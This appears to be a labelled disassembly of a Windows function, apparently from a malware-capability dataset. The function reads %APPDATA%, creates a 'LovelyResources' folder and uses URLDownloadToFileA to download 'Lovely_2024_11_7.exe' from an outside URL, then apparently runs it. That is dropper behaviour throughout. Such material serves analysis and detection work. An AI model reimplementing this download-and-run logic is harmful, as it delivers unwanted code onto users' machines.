Function at 0x140001230
Capabilities:
Create directory
Download url
Query environment variable
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x140
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor r14d, r14d
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rbx, rax
test rax, rax
je 0x140001697
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov ecx, 0x20
call fcn.140001a50
mov rdx, rax
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [0x140003410]
movdqu xmmword [rbp - 0x38], xmm0
movups xmm0, xmmword [str.LovelyResources]
movups xmmword [rax], xmm0
movzx eax, byte [0x1400033b8]
mov byte [rdx + 0x10], al
mov byte [rdx + 0x11], r14b
lea r8, [rbp - 0x48]
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140001730
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov ecx, 0x20
call fcn.140001a50
mov rsi, rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], 0x15
mov r15d, 0x1f
mov qword [rbp - 0x10], r15
movups xmm0, xmmword [str.Lovely_2024_11_7.exe]
movups xmmword [rax], xmm0
mov eax, dword [0x1400033d0]
mov dword [rsi + 0x10], eax
movzx eax, byte [0x1400033d4]
mov byte [rsi + 0x14], al
mov byte [rsi + 0x15], r14b
lea r8, [rbp - 0x48]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140001730
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x14000136e
lea rax, [rcx + 0x15]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x140001353
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0x15
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x15], 0
jmp 0x140001392
mov qword [rsp + 0x20], 0x15
mov r9, rsi
mov edx, 0x15
mov rcx, rdi
call fcn.140001890
mov rdi, rax
mov r15, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140001403
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a8c
movdqa xmm6, xmmword [0x140003400]
movdqu xmmword [rsp + 0x48], xmm6
mov byte [rsp + 0x38], 0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
lea rdx, [rbp - 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001570
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
lea rdx, [rbp - 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x140001495
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x140001570
mov qword [rbp - 0x60], r14
mov ecx, 0x30
call fcn.140001a50
mov rdx, rax
mov qword [rbp - 0x68], rax
movdqa xmm0, xmmword [0x140003420]
movdqu xmmword [rbp - 0x58], xmm0
movups xmm0, xmmword [str.https:__thingythingthinggggg.com_thing]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400033e8]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x1400033f8]
mov dword [rdx + 0x20], eax
movzx eax, word [0x1400033fc]
mov word [rdx + 0x24], ax
mov byte [rdx + 0x26], 0
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
call fcn.140001010
mov r14d, 1
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000155f
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000155a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000155a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a8c
movdqa xmm6, xmmword [0x140003400]
movdqu xmmword [rbp - 0x58], xmm6
mov byte [rbp - 0x68], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400015b8
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a8c
movdqa xmm6, xmmword [0x140003400]
movdqu xmmword [rsp + 0x68], xmm6
mov byte [rsp + 0x58], 0
cmp r15, 0xf
jbe 0x140001605
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400015f5
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140001a8c
movdqa xmm6, xmmword [0x140003400]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000164c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000163f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000163f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a8c
movdqa xmm6, xmmword [0x140003400]
movdqu xmmword [rbp - 0x78], xmm6
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001694
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000168f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000168f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a8c
mov eax, r14d
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140001a30
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret